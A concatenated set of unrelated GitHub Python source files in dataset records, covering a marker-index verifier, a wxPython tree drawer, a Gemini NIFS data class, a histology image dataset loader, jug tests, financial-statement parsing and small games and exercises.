celltype[ct] = idx\n # two things\n # 1. make marker_genes list\n # 2. make markers_ec\n for g in genes.split(\",\"):\n gidx = len(marker_genes)\n\n # check if the gene has been added already\n if g in marker_genes.keys(): # gene repeated\n gidx = marker_genes[g]\n else:\n marker_genes[g] = gidx\n elements.append(g)\n\n # for the cell type index, add the marker gene index\n markers_ec[celltype[ct]].append(marker_genes[g])\n\n # sort the marker genes\n markers_ec[celltype[ct]] = sorted(markers_ec[celltype[ct]])\n elements = sorted(elements)\n return markers_ec, groups, elements\n\n\n# Step 1: Check if each of the 3 files is correct\n\ndef check_index_files(markers_ec, elements, groups):\n # Check for skipped indices in markers_ec\n if not list(markers_ec.keys()) == list(range(len(markers_ec.keys()))):\n print('ERROR: Invalid markers_ec file: one or more indices missing')\n return False\n\n # Check for duplicated marker genes in elements.txt\n elif not len(elements) == len(np.unique(elements)):\n print('ERROR: Invalid elements.txt file: duplicated marker gene found')\n return False\n\n # Check for duplicated cell types in groups.txt\n elif not len(groups) == len(np.unique(groups)):\n print('ERROR: Invalid groups.txt file: duplicated cell type found')\n return False\n else:\n return True\n\n# Step 2: Check if the 3 index files are compatible within each other.\n\ndef check_compatibility_index_files(markers_ec, elements, groups):\n if not len(groups) == len(markers_ec.keys()):\n print(\"ERROR: groups.txt and markers.ec files are not compatible: different number of cell types found\")\n return False\n elif not len(elements) == len(set([j for sub in markers_ec.values() for j in sub])):\n print('ERROR: elements.txt and markers.ec files are not compatible: different number of marker genes found')\n else:\n return True\n\n\ndef check_markers_to_index(markers_fn):\n check_ec, check_groups, check_elements = index_markers(markers_fn)\n\n if not groups == check_groups or not sorted(elements) == check_elements or not markers_ec == check_ec:\n print('ERROR: markers.txt is not compatible with markers_ec')\n return False\n\n else:\n return True\n\n\n\ndef ec_verify(markers_ec, elements, groups, markers_fname):\n # First step: Check of individual files:\n if not check_index_files(markers_ec, elements, groups):\n return\n\n # Second step: Check if the 3 index files are compatible within each other\n elif not check_compatibility_index_files(markers_ec, elements, groups):\n return\n \n # Third step: See if indices files originates from provided markers\n elif not check_markers_to_index(markers_fname):\n return\n\n else:\n print(\"Provided files are correct\")\n \n\nif __name__ == '__main__':\n markers_ec_fname = sys.argv[1]\n elements_fname = sys.argv[2]\n groups_fname = sys.argv[3]\n markers_fname = sys.argv[4]\n\n groups = read_txt(groups_fname)\n\n elements = read_txt(elements_fname)\n\n markers_ec = defaultdict(list)\n read_markers_ec(markers_ec_fname, markers_ec)\n\n ec_verify(markers_ec, elements, groups, markers_fname) \n\n\n","repo_name":"sbooeshaghi/ec","sub_path":"test/ec_verify.py","file_name":"ec_verify.py","file_ext":"py","file_size_in_byte":4194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22333519033","text":"#!/usr/bin/env python3.6\n\nimport math\nimport random\nimport wx\n\nclass MainFrame(wx.Frame):\n def __init__(self, *args, **kw):\n super(MainFrame, self).__init__(*args, **kw)\n\n self.splitter = wx.SplitterWindow(self)\n self.panel1 = wx.Panel(self.splitter)\n self.panel2 = wx.Panel(self.splitter)\n \n self.seedInput = wx.TextCtrl(self.panel2, wx.ID_ANY)\n self.generateBtn = wx.Button(self.panel2, wx.ID_ANY, 'Generate')\n self.randomizeBtn = wx.Button(self.panel2, wx.ID_ANY, 'Randomize')\n\n self.randomizeBtn.Bind(wx.EVT_BUTTON, self.randomizeSeed)\n self.generateBtn.Bind(wx.EVT_BUTTON, self.generate)\n\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n hbox.AddStretchSpacer(100)\n hbox.Add(self.seedInput)\n hbox.Add(self.generateBtn)\n hbox.Add(self.randomizeBtn)\n hbox.AddStretchSpacer(100)\n \n self.panel2.SetSizer(hbox)\n\n self.splitter.SetSashGravity(.8)\n self.splitter.SplitHorizontally(self.panel1, self.panel2)\n\n self.randomizeSeed()\n\n def randomizeSeed(self, event = None):\n value = (int)(random.random() * 100_000)\n self.seedInput.SetValue((str)(value))\n\n def getSeed(self):\n seed = self.seedInput.GetValue()\n while len(seed) == 0:\n self.randomizeSeed()\n seed = self.seedInput.GetValue()\n\n return seed\n\n def generate(self, event = None):\n random.seed(self.getSeed())\n\n w, h = self.panel1.GetClientSize()\n x = w / 2;\n y = h;\n angle = -math.pi / 2\n length = (int)(y * random.randint(20, 30) / 100.0)\n thickness = 5\n\n dc = wx.ClientDC(self.panel1)\n dc.Clear()\n \n self.renderTree(dc, x, y, length, thickness, angle)\n\n def renderTree(self, dc, x, y, length, thickness, angle):\n pen = dc.GetPen()\n pen.SetWidth(thickness)\n\n dc.SetPen(pen)\n\n x1 = (int)(x + length * math.cos(angle))\n y1 = (int)(y + length * math.sin(angle))\n\n dc.DrawLine(x, y, x1, y1)\n\n for _branch in [1] * random.randrange(2,6):\n scale = random.randint(60, 80) / 100.0\n new_length = length * scale\n new_thickness = thickness * scale\n \n if new_length > 4:\n new_angle = angle + random.randint(-61, 60) * -math.pi / 180.0\n\n self.renderTree(dc, x1, y1, new_length, new_thickness, new_angle)\n\n\n\nclass MyApp(wx.App):\n def OnInit(self):\n frame = MainFrame(None, -1, 'Random Tree')\n frame.SetMinClientSize(wx.Size(300, 400))\n frame.Center()\n frame.Show(True)\n return True\n\nif __name__ == '__main__':\n app = MyApp(0)\n app.MainLoop()\n\n","repo_name":"Casilio/random_tree","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42969818993","text":"import math\n\nfrom astrodata import astro_data_tag, astro_data_descriptor, returns_list, TagSet\nfrom ..gemini import AstroDataGemini, use_keyword_if_prepared\nfrom .lookup import constants_by_bias, config_dict, lnrs_mode_map\n\n# NOTE: Temporary functions for test. gempy imports astrodata and\n# won't work with this implementation\nfrom .. import gmu\n\nclass AstroDataNifs(AstroDataGemini):\n\n __keyword_dict = dict(array_section = 'DATASEC',\n camera = 'INSTRUME',\n central_wavelength = 'GRATWAVE',\n detector_section = 'DATASEC',\n disperser = 'GRATING',\n focal_plane_mask = 'APERTURE',\n observation_epoch = 'EPOCH')\n @staticmethod\n def _matches_data(source):\n return source[0].header.get('INSTRUME', '').upper() == 'NIFS'\n\n @astro_data_tag\n def _tag_instrument(self):\n return TagSet(['NIFS'])\n\n @astro_data_tag\n def _tag_dark(self):\n if self.phu.get('OBSTYPE') == 'DARK':\n return TagSet(['DARK', 'CAL'], blocks=['IMAGE', 'SPECT'])\n\n @astro_data_tag\n def _tag_image(self):\n if self.phu.get('FLIP') == 'In':\n return TagSet(['IMAGE'])\n\n @astro_data_tag\n def _tag_arc(self):\n if self.phu.get('OBSTYPE') == 'ARC':\n return TagSet(['ARC', 'CAL'])\n\n @astro_data_tag\n def _tag_ronchi(self):\n req = self.phu.get('OBSTYPE'), self.phu.get('APERTURE')\n if req == ('FLAT', 'Ronchi_Screen_G5615'):\n return TagSet(['RONCHI', 'CAL'])\n\n @astro_data_tag\n def _tag_spect(self):\n if self.phu.get('FLIP') == 'Out':\n return TagSet(['SPECT', 'IFU'])\n\n @astro_data_descriptor\n def filter_name(self, stripID=False, pretty=False):\n \"\"\"\n Returns the name of the filter(s) used. The component ID can be\n removed with either 'stripID' or 'pretty'. If 'pretty' is True,\n filter positions such as 'Open', 'Dark', 'blank', and others are\n removed leaving only the relevant filters in the string.\n\n Parameters\n ----------\n stripID : bool\n If True, removes the component ID and returns only the name of\n the filter.\n pretty : bool\n Same as for stripID. Pretty here does not do anything more.\n\n Returns\n -------\n str\n The name of the filter with or without the component ID.\n\n \"\"\"\n filt = self.phu.get('FILTER')\n if stripID or pretty:\n filt = gmu.removeComponentID(filt)\n return 'blank' if filt == 'Blocked' else filt\n\n def _from_biaspwr(self, constant_name):\n bias_volt = self.phu.get('BIASPWR')\n\n for bias, constants in constants_by_bias.items():\n if abs(bias - bias_volt) < 0.1:\n return getattr(constants, constant_name, None)\n\n raise KeyError(\"The bias value for this image doesn't match any on the lookup table\")\n\n @returns_list\n @use_keyword_if_prepared\n @astro_data_descriptor\n def gain(self):\n \"\"\"\n Returns the gain used for the observation. A lookup table is\n uses to compare the bias value in the headers to the bias values\n associate with the various gain settings.\n\n Returns\n -------\n float\n Gain used for the observation.\n\n \"\"\"\n return self._from_biaspwr(\"gain\")\n\n @use_keyword_if_prepared\n @astro_data_descriptor\n def non_linear_level(self):\n \"\"\"\n Returns the level at which the array becomes non-linear, in the same\n units as the data. A lookup table is used. Whether the data\n has been corrected for non-linearity or not is taken into account.\n A list is returned unless called on a single-extension slice.\n\n Returns\n -------\n int/list\n Level in ADU at which the non-linear regime starts.\n \"\"\"\n saturation_level = self.saturation_level()\n corrected = 'NONLINCR' in self.phu\n\n linear_limit = self._from_biaspwr(\"linearlimit\" if corrected\n else \"nonlinearlimit\")\n if self.is_single:\n try:\n return int(saturation_level * linear_limit)\n except TypeError:\n return None\n else:\n return [int(linear_limit * s) if linear_limit and s else None\n for s in saturation_level]\n\n @astro_data_descriptor\n def pixel_scale(self):\n \"\"\"\n Returns the pixel scale in arc seconds. A lookup table indexed on\n focal_plane_mask, disperser, and filter_name is used.\n\n Returns\n -------\n lfloat\n Pixel scale in arcsec.\n \"\"\"\n fpm = self.focal_plane_mask()\n disp = self.disperser()\n filt = self.filter_name()\n return getattr(config_dict.get((fpm, disp, filt)), 'pixscale', None)\n\n @astro_data_descriptor\n def read_mode(self):\n \"\"\"\n Returns the read mode for the observation. The read mode is directly\n associated with the LNRS header keyword value.\n\n Returns\n -------\n str\n Read mode for the observation.\n \"\"\"\n # NOTE: The original read_mode descriptor obtains the bias voltage\n # value, but then it does NOTHING with it. I'll just skip it.\n return lnrs_mode_map.get(self.phu.get('LNRS'), 'Unknown')\n\n @returns_list\n @astro_data_descriptor\n def read_noise(self):\n \"\"\"\n Returns the detector read noise, in electrons.\n A lookup table is used. The read noise depends on the gain setting\n and is affected by the number of coadds and non-destructive pairs.\n A list is returned unless called on a single-extension slice.\n\n Returns\n -------\n list/float\n Detector read noise in electrons.\n\n \"\"\"\n rn = self._from_biaspwr(\"readnoise\")\n try:\n return float(rn * math.sqrt(self.coadds()) / math.sqrt(self.phu.get('LNRS')))\n except TypeError:\n return None\n\n @returns_list\n @use_keyword_if_prepared\n @astro_data_descriptor\n def saturation_level(self):\n \"\"\"\n Returns the saturation level for the observation, in the same units as\n the data. A lookup table is used to get the full well value based on the\n bias voltage.\n\n Returns\n -------\n int/list\n Saturation level\n\n \"\"\"\n try:\n return int(self._from_biaspwr(\"well\") *\n self._from_biaspwr(\"gain\") * self.coadds() / self.gain()[0])\n except TypeError:\n return None\n","repo_name":"GeminiDRSoftware/DRAGONS","sub_path":"gemini_instruments/nifs/adclass.py","file_name":"adclass.py","file_ext":"py","file_size_in_byte":6758,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"48"} +{"seq_id":"73064159824","text":"import os\nimport cv2\nimport PIL \nimport torch \nimport torch.nn as nn\nimport numpy as np\nimport pandas as pd\nfrom skimage import io\n\nfrom torch.utils.data import DataLoader\nfrom glob import glob \nimport matplotlib.pyplot as plt\nfrom random import randrange \n\n\n\nclass BreakHis_Dataset_SSL(nn.Module):\n\n def __init__(self, train_path, training_method=None, transform = None, target_transform = None, augmentation_strategy = None, image_pair = [], pair_sampling_method = \"OP\"):\n \n self.train_path = train_path\n self.transform = transform\n self.target_transform = target_transform\n # self.pre_processing = pre_processing\n self.pair_sampling_method = pair_sampling_method\n self.image_dict_40x = {}\n self.image_dict_100x = {}\n self.image_dict_200x = {}\n self.image_dict_400x = {}\n \n\n\n\n for patient_dir_name in os.listdir(train_path):\n patient_uid = patient_dir_name.split('-')[1]\n \n #record keeping for 40X images\n path_40x = os.path.join(train_path, patient_dir_name, '40X')\n for image_name in os.listdir(path_40x):\n image_seq = image_name.split('.')[0].split('-')[4]\n self.image_dict_40x[patient_uid+'_'+ image_seq] = os.path.join(path_40x, image_name)\n \n #record keeping for 100X images\n path_100x = os.path.join(train_path, patient_dir_name, '100X')\n for image_name in os.listdir(path_100x):\n image_seq = image_name.split('.')[0].split('-')[4]\n if (patient_uid+'_'+ image_seq in list(self.image_dict_40x.keys())):\n self.image_dict_100x[patient_uid+'_'+ image_seq] = os.path.join(path_100x, image_name)\n\n #record keeping for 200X images\n path_200x = os.path.join(train_path, patient_dir_name, '200X')\n for image_name in os.listdir(path_200x):\n image_seq = image_name.split('.')[0].split('-')[4]\n if ((patient_uid+'_'+ image_seq in list(self.image_dict_40x.keys())) and (patient_uid+'_'+ image_seq in list(self.image_dict_100x.keys()))):\n self.image_dict_200x[patient_uid+'_'+ image_seq] = os.path.join(path_200x, image_name)\n\n #record keeping for 400X images\n path_400x = os.path.join(train_path, patient_dir_name, '400X')\n for image_name in os.listdir(path_400x):\n image_seq = image_name.split('.')[0].split('-')[4]\n if ((patient_uid+'_'+ image_seq in list(self.image_dict_40x.keys())) and (patient_uid+'_'+ image_seq in list(self.image_dict_100x.keys())) and (patient_uid+'_'+ image_seq in list(self.image_dict_200x.keys()))):\n self.image_dict_400x[patient_uid+'_'+ image_seq] = os.path.join(path_400x, image_name)\n\n\n #SSL specific\n self.augmentation_strategy_1 = augmentation_strategy\n self.training_method = training_method\n self.image_pair = image_pair\n \n self.list_40X = list(self.image_dict_40x.keys())\n self.list_100X = list(self.image_dict_100x.keys())\n self.list_200X = list(self.image_dict_200x.keys())\n self.list_400X = list(self.image_dict_400x.keys())\n temp = list(set(self.list_40X) & set(self.list_100X) & set(self.list_200X) & set(self.list_400X))\n self.image_list = temp #list(self.image_dict_400x.keys())\n \n print ('pair_sampling_method - ', self.pair_sampling_method)\n print('len of 40x,100x,200x,400x', len(self.list_40X), len(self.list_100X), len(self.list_200X), len(self.list_400X))\n \n \n def __len__(self):\n return len(self.image_list)\n\n def __getitem__(self, index):\n \n image1_path, image2_path = None,None\n #Ordered sampling method - one magnification randomly, next is chosen orderly\n if \"OP\" == self.pair_sampling_method:\n randon_mgnification = randrange(4)\n if randon_mgnification == 0:\n image1_path = self.image_dict_40x[self.image_list[index]]\n image2_path = self.image_dict_100x[self.image_list[index]]\n elif randon_mgnification == 1:\n image1_path = self.image_dict_100x[self.image_list[index]]\n image2_path = self.image_dict_200x[self.image_list[index]]\n elif randon_mgnification == 2:\n image1_path = self.image_dict_200x[self.image_list[index]]\n image2_path = self.image_dict_400x[self.image_list[index]]\n elif randon_mgnification == 3:\n image1_path = self.image_dict_200x[self.image_list[index]]\n image2_path = self.image_dict_400x[self.image_list[index]]\n \n\n image1 = PIL.Image.open(image1_path)\n image2 = PIL.Image.open(image2_path)\n \n\n transformed_view1, transformed_view2 = None, None\n \n if self.training_method == \"MPCS\" : #current work only consider MPCS\n state = torch.get_rng_state()\n transformed_view1 = self.augmentation_strategy_1(image = np.array(image1))\n torch.set_rng_state(state)\n transformed_view2 = self.augmentation_strategy_1(image = np.array(image2))\n\n if self.transform:\n transformed_view1 = self.transform(transformed_view1['image'])\n transformed_view2 = self.transform(transformed_view2['image'])\n \n return transformed_view1, transformed_view2\n\n\ndef get_BreakHis_trainset_loader(train_path, training_method=None, transform = None,target_transform = None, augmentation_strategy = None, image_pair=[], pair_sampling_method = \"OP\", batch_size = 14, num_workers = 2):\n\n dataset = BreakHis_Dataset_SSL(train_path, training_method, transform, target_transform, augmentation_strategy, image_pair, pair_sampling_method)\n train_loader = DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers,drop_last = True)\n return train_loader\n\n\n\n","repo_name":"shanteru/xai-chan","sub_path":"utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34158393271","text":"import jug.jug\nimport jug.task\nfrom jug.task import Task\nfrom jug.tests.utils import simple_execute\nfrom jug.backends.dict_store import dict_store\nimport random\njug.jug.silent = True\n\ndef test_jug_execute_simple():\n N = 1024\n random.seed(232)\n A = [False for i in range(N)]\n def setAi(i):\n A[i] = True\n setall = [Task(setAi, i) for i in range(N)]\n store = dict_store()\n jug.task.Task.store = store\n simple_execute()\n assert False not in A\n assert max(store.counts.values()) < 4\n\ndef test_jug_execute_deps():\n N = 256\n random.seed(234)\n A = [False for i in range(N)]\n def setAi(i, other):\n A[i] = True\n idxs = list(range(N))\n random.shuffle(idxs)\n prev = None\n for idx in idxs:\n prev = Task(setAi, idx, prev)\n store = dict_store()\n jug.task.Task.store = store\n simple_execute()\n assert False not in A\n assert max(store.counts.values()) < 4\n\nfrom .task_reset import task_reset\ndef test_aggressive_unload():\n from jug.jug import execution_loop\n from jug.task import alltasks\n from jug.options import default_options\n from collections import defaultdict\n options = default_options.copy()\n options.aggressive_unload = True\n @task_reset\n def run_jugfile(jugfile):\n store, space = jug.jug.init(jugfile, 'dict_store')\n execution_loop(alltasks, options, defaultdict(int), defaultdict(int))\n yield run_jugfile, 'jug/tests/jugfiles/tasklet_simple.py'\n yield run_jugfile, 'jug/tests/jugfiles/tasklets.py'\n yield run_jugfile, 'jug/tests/jugfiles/barrier_mapreduce.py'\n yield run_jugfile, 'jug/tests/jugfiles/compound_nonsimple.py'\n yield run_jugfile, 'jug/tests/jugfiles/slice_task.py'\n\n","repo_name":"chiehwen/jug","sub_path":"jug/tests/test_jug_execute.py","file_name":"test_jug_execute.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"5671406255","text":"def containsSum(nums, t):\n n = len(nums)\n dp = [[False for _ in range(t + 1)] for _ in range(n + 1)]\n for row in range(n):\n dp[row][0] = True\n \n for i in range(1, n):\n for j in range(1, t + 1):\n if j >= nums[i - 1]:\n dp[i][j] = dp[i - 1][j - nums[i]] or dp[i - 1][j] or dp[i][j - nums[i]]\n return dp[n - 1][t]\n\nnums = [3,5,4]\nprint(containsSum(nums, 19))\n","repo_name":"felivalencia3/Leetcode","sub_path":"containsSum.py","file_name":"containsSum.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37991473718","text":"from functools import reduce\nfrom typing import List\nimport math\nfrom config import date_headers_to_filter\nimport pandas as pd\nimport os\n\n\ndef replace_character_with_space(table: List[List[str]], character: str) -> List[List[str]]:\n return [list(map(lambda x: x.replace(character, ''), row)) for row in table]\n\n\ndef delete_row(table: List[List[str]], deleteRow) -> List[List[str]]:\n return table[deleteRow:]\n\n\ndef remove_single_brackets(table: List[List[str]]) -> List[List[str]]:\n function = lambda x: x.strip() != ')' and x.strip() != '('\n return [list(filter(function, row)) for row in table]\n\n\ndef remove_blanks(table: List[List[str]]) -> List[List[str]]:\n return [list(filter(lambda x: x.strip() != '', row)) for row in table]\n\n\ndef remove_duplicate_string(table: List[List[str]]) -> List[List[str]]:\n results = []\n for row in table:\n temp_row = []\n for col in row:\n if col not in temp_row:\n temp_row.append(col)\n else:\n if all([not c.isalpha() for c in col]):\n temp_row.append(col)\n results.append(temp_row)\n return results\n\n\ndef remove_empty_lines_or_single_column(table: List[List[str]]) -> List[List[str]]:\n return [row for row in table if len(row) != 0 and len(row) != 1]\n\n\ndef remove_columns_larger_than_4(table: List[List[str]]) -> List[List[str]]:\n return [row for row in table if len(row) <= 4]\n\n\ndef fulfil_brackets(table: List[List[str]]) -> List[List[str]]:\n def helper(x: str):\n if '(' in x and ')' not in x:\n return x + ')'\n elif ')' in x and '(' not in x:\n return '(' + x\n else: return x\n return [list(map(helper, row)) for row in table]\n\n\ndef match_column_length(table: List[List[str]]) -> List[List[str]]:\n date_headers = table[0]\n data_to_use = table[1:]\n lengths_of_row = {len(x) for x in data_to_use}\n length_to_use = max(lengths_of_row)\n new_data = []\n for data in data_to_use:\n if len(data) == length_to_use - 1:\n data.insert(0, '')\n new_data.append(data)\n new_data.insert(0, date_headers)\n return new_data\n\n\ndef convert_to_num_if_possible(x: str):\n try:\n commaSeparate = x.split(',')\n combinedNumber = reduce(lambda x, y: x + y, commaSeparate)\n if x.strip()[0] == '(' and x.strip()[-1] == ')':\n return -float(combinedNumber[1:-1])\n elif x.strip() == '-' or x.strip() == '—':\n return 0\n else:\n tempStore = float(combinedNumber)\n if math.isnan(tempStore):\n return 0\n else:\n return tempStore\n except:\n return x\n\n\ndef convert_str_num_to_int_num(table: List[List[str]]) -> List[List[str]]:\n return [list(map(convert_to_num_if_possible, row)) for row in table]\n\n\ndef remove_non_number_financial_value(table: List[List[str]]) -> List[List[str]]:\n new_table = [table[0]]\n for row in table[1:]:\n values = list(filter(lambda x: type(x) is not str, row[1:]))\n new_row = [row[0]] + values\n new_table.append(new_row)\n return new_table\n\n\ndef remove_wrong_date_header(table: List[List[str]]) -> List[List[str]]:\n filtered_date_header = []\n\n for header in table[0]:\n check = list(map(lambda x: x not in str(header), date_headers_to_filter))\n if all(check):\n filtered_date_header.append(header)\n\n table[0] = filtered_date_header\n\n return table\n\n\ndef convert_to_key_word_format(table: List[List[str]]) -> List[List[str]]:\n new_table = []\n for row in table:\n if type(row[0]) == str:\n temp_row = row\n temp_row[0] = row[0].lower().replace(' ', '-')\n new_table.append(temp_row)\n else:\n new_table.append(temp_row)\n return new_table\n\n\ndef generate_key(keys, key, appender):\n while key in keys:\n new_key = generate_key(keys, key + ' - ' + appender, appender)\n return new_key\n return key\n\n\ndef convert_statement_to_dict(table: List[List[str]]) -> dict:\n dates = table[0]\n new_table = table[1:]\n new_dict = {}\n for row in new_table:\n data = {}\n for date, column in zip(dates, row[1:]):\n data.update({date: column})\n try:\n key = generate_key(new_dict.keys(), row[0].strip(), '_')\n new_dict[key] = data\n except:\n raise Exception(\"Error\")\n return new_dict\n\n\ndef convert_all_keys_to_str(data: dict):\n new_dict = {}\n for key in data.keys():\n dict_key = str(key)\n new_dict[dict_key.strip()] = data[key]\n return new_dict\n\n\ndef convert_header_to_str_date(table: List[List[str]]) -> List[List[str]]:\n try:\n helper = lambda x: str(x).split('.')[0]\n temp_table_0 = list(map(helper, table[0]))\n final_table_0 = []\n if len(temp_table_0) != len(table[1]) - 1:\n temp_table_0 = temp_table_0[1:]\n\n for col in temp_table_0:\n if ',' in col:\n final_table_0.append(col.split(',')[1].replace(' ', ''))\n elif ' ' in col:\n final_table_0.append(col.split(' ')[1].replace(' ', ''))\n else:\n final_table_0.append(col)\n table[0] = final_table_0\n return table\n except:\n raise Exception(\"Error with convert_header_to_str_date: \" + str(table[0]))\n\n\ndef process_table(table: List[List[str]]) -> List[List[str]]:\n return reduce(lambda x, y: y(x),\n [table,\n lambda x: replace_character_with_space(x, '\\xa0'),\n lambda x: replace_character_with_space(x, '\\n'),\n lambda x: replace_character_with_space(x, '\\x97'),\n lambda x: replace_character_with_space(x, '%'),\n lambda x: replace_character_with_space(x, '\\u200b'),\n lambda x: replace_character_with_space(x, '$'),\n remove_blanks,\n remove_duplicate_string, # Mainly for date that has month in row above\n remove_empty_lines_or_single_column,\n remove_single_brackets,\n fulfil_brackets,\n remove_columns_larger_than_4,\n remove_wrong_date_header,\n convert_str_num_to_int_num,\n remove_non_number_financial_value,\n match_column_length,\n convert_header_to_str_date,\n convert_statement_to_dict,\n convert_all_keys_to_str])\n\n\ndef process_all_financial_statements(data: dict) -> dict:\n final_data = {'income_statement': process_table(data['income_statement']),\n 'balance_sheet': process_table(data['balance_sheet']), 'cash_flow': process_table(data['cash_flow'])}\n return final_data\n\n\ndef save_to_csv(data: List[dict], name: str) -> None:\n for statements in data:\n for key in statements.keys():\n statement = pd.DataFrame(statements[key]).transpose()\n year = statement.columns[0]\n directory = os.getcwd() + '/statements/' + name + '/' + year\n if not os.path.exists(directory):\n os.makedirs(directory)\n statement.to_csv(directory + '/' + key)\n","repo_name":"zenonfoo/portfolio","sub_path":"financial_statement_scrape_2/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":7282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22998799069","text":"\"\"\" Tic Tac Toe - vs AI version \"\"\"\r\n\r\nimport random\r\n\r\ndef welcome_message():\r\n print('\\n\\nWELCOME TO THE TIC TAC TOE GAME!')\r\n print(1, 2, 3)\r\n print(4, 5, 6)\r\n print(7, 8, 9)\r\n print()\r\n\r\ndef end_message(score):\r\n if score == 0:\r\n print(\"IT'S A TIE!\")\r\n elif score == 1:\r\n print('CONGRATULATIONS PLAYER. YOU WIN!')\r\n else:\r\n print('COMPUTER WINS!')\r\n\r\ndef print_board(board):\r\n print(*[board[x] for x in range(3)], sep=' ', end='\\n\\n')\r\n print(*[board[x] for x in range(3, 6)], sep=' ', end='\\n\\n')\r\n print(*[board[x] for x in range(6, 9)], sep=' ', end='\\n\\n')\r\n\r\ndef is_square_empty(board, move):\r\n return board[move - 1] != 'X' and board[move - 1] != 'O'\r\n\r\ndef is_board_full(board):\r\n return board.count('X') + board.count('O') == 9\r\n\r\ndef player_move(board, tick):\r\n print('PLAYER TURN!')\r\n\r\n try:\r\n move = int(input('Choose position for your tick (int in range from 1 to 9): '))\r\n except ValueError:\r\n print('Pass an integer, please!')\r\n return False\r\n\r\n if (move < 1) or (move > 9):\r\n print('Number is out of range! Pass a number from range 1 to 9, please.')\r\n return False\r\n elif is_square_empty(board, move) is False:\r\n print('Square is not empty! Try again!')\r\n return False\r\n elif not isinstance(move, int):\r\n print('Pass an integer, please!')\r\n return False\r\n else:\r\n board[move - 1] = tick\r\n return True\r\n\r\ndef comp_choice(board):\r\n \"\"\" possible_moves variable contains indexes NOT VALUES! \"\"\"\r\n possible_moves = [index for index, value in enumerate(board) if value != 'X' and value != 'O']\r\n\r\n ''' 1. Check if there is a win or a win-block possible in the next turn '''\r\n for tick in ['O', 'X']:\r\n for x in possible_moves:\r\n board_copy = board.copy()\r\n board_copy[x] = tick\r\n if is_win(board_copy):\r\n return x\r\n\r\n ''' 2. Check if center is available (index=4, value=5)'''\r\n if 4 in possible_moves:\r\n return 4\r\n\r\n ''' 3. Check if there are corners available '''\r\n corners_possible = [index for index, value in enumerate(board) if value in [1, 3, 7, 9]]\r\n if len(corners_possible) > 0:\r\n return random.choice(corners_possible)\r\n\r\n ''' 4. Check the edges '''\r\n edges_possible = [index for index, value in enumerate(board) if value in [2, 4, 6, 8]]\r\n if len(edges_possible) > 0:\r\n return random.choice(edges_possible)\r\n\r\ndef comp_move(board):\r\n index = comp_choice(board)\r\n board[index] = 'O'\r\n print('Computer place \"O\" on square {}:'.format(index + 1))\r\n print_board(board)\r\n\r\ndef is_win(board):\r\n return (len(set([board[x] for x in [0, 1, 2]])) == 1 or\r\n len(set([board[x] for x in [3, 4, 5]])) == 1 or\r\n len(set([board[x] for x in [6, 7, 8]])) == 1 or\r\n len(set([board[x] for x in [0, 3, 6]])) == 1 or\r\n len(set([board[x] for x in [1, 4, 7]])) == 1 or\r\n len(set([board[x] for x in [2, 5, 8]])) == 1 or\r\n len(set([board[x] for x in [0, 4, 8]])) == 1 or\r\n len(set([board[x] for x in [2, 4, 6]])) == 1)\r\n\r\ndef is_game_finished(board, score):\r\n if is_win(board):\r\n end_message(score)\r\n return True\r\n if is_board_full(board):\r\n end_message(0)\r\n return True\r\n return False\r\n\r\ndef restart():\r\n x = input('Do You want to play again? [\"y\" to play]: ')\r\n if x == 'y':\r\n game()\r\n\r\ndef game():\r\n board = [x for x in range(1, 10)]\r\n welcome_message()\r\n control = False\r\n while True:\r\n ''' Player 1 '''\r\n while control is False:\r\n control = player_move(board, 'X')\r\n if control is True:\r\n print_board(board)\r\n if is_game_finished(board, 1):\r\n break\r\n control = False\r\n\r\n ''' Computer '''\r\n comp_move(board)\r\n if is_game_finished(board, 2):\r\n break\r\n\r\n restart()\r\n\r\n\r\nif __name__ == '__main__':\r\n game()","repo_name":"matswinkels/my_projects","sub_path":"Tictactoe/main_ai.py","file_name":"main_ai.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21736376772","text":"class Quiz:\n\n answer = ['경기도', '강원도', '충청남도', '충청북도', '전라남도', '전라북도', '경상남도', '경상북도', '제주특별자치도']\n\n @classmethod\n def challenge(cls):\n try:\n user_answer = input('정답은? >>> ')\n if user_answer in cls.answer:\n cls.answer.pop(cls.answer.index(user_answer))\n else:\n raise Exception('틀렸습니다.')\n except Exception as e:\n print(e)\n Quiz.challenge()\n else:\n if len(cls.answer) == 0:\n print('모든 도를 맞췄습니다. 성공입니다.')\n else:\n print('정답입니다.')\n print(cls.answer)\n Quiz.challenge()\n\ntry:\n print('우리나라의 9개 모든 도를 맞히는 퀴즈입니다. 하나씩 대답하세요.')\n Quiz.challenge()\nexcept Exception as e:\n print(e)\n","repo_name":"Youngjin0104/Python-practice","sub_path":"python practice/chapter17(우리나라도 맞추기).py","file_name":"chapter17(우리나라도 맞추기).py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4481046280","text":"from __future__ import print_function\n\nimport os, sys\nfrom pathlib import Path\nimport random\nfrom typing import Dict\n\n# pytorch imports\nimport torch\nfrom torch.utils.data import DataLoader, sampler\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport pandas as pd\nimport numpy as np\n\n# internal imports\nfrom datasets.dataset_generic import Generic_MIL_Dataset\n\n\ndef seed_torch(seed=7, device=\"cpu\"):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n if device.type == 'cuda':\n 